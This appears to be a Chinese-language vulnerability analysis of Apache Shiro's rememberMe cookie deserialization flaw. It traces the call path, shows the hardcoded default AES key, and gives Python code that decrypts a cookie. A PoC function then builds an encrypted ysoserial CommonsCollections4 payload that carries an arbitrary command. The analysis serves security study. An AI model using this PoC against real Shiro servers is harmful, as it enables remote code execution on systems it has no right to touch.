原理
触发入口
登录点击记住密码时,有rememberMe,下次登陆时会带rememberMe的cookie,rememberMe存在反序列化问题

序列化入口
调试得到序列化入口和解密方法:
1 2 3 4
| org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity(AuthenticationToken, AuthenticationInfo):321 org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity(Subject, PrincipalCollection) org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes(L360:序列化) org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(加密方法)
|
在encrypt函数中可以看到加密方法为AES-CBC
获取加密key
AbstractRememberMeManager#encrypt() 调用了getEncryptionCipherKey()方法获取加密用的key

getEncryptionCipherKey返回了encryptionCipherKey,encryptionCipherKey在AbstractRememberMeManager类初始化时设置:

向上找到AbstractRememberMeManager#DEFAULT_CIPHER_KEY_BYTES,密钥硬编码到了代码里:

分析rememberMe格式
iv和rememberMe产生接着调试
1 2 3
| org.apache.shiro.mgt.AbstractRememberMeManager#encrypt org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[]) org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[], byte[], boolean)
|

即rememberme=b64(IV+encrypt(serial))
因此有解密代码:
1 2 3 4 5 6 7 8 9
| with open(filename, 'rb') as enc_file, open("./decrypt.bin", 'wb') as dec_file: cookie = base64.b64decode(enc_file.read()) key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") mode = AES.MODE_CBC iv=cookie[:16] serial=cookie[16:] encryptor = AES.new(key, mode, IV=iv) remember_bin = encryptor.decrypt(serial) dec_file.write(remember_bin)
|
PoC
因此有反序列化代码
1 2 3 4 5 6 7 8 9 10 11
| def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections4', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
|
反序列化入口
org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals
org.apache.shiro.mgt.AbstractRememberMeManager#deserialize
1 2 3 4 5 6
| protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
|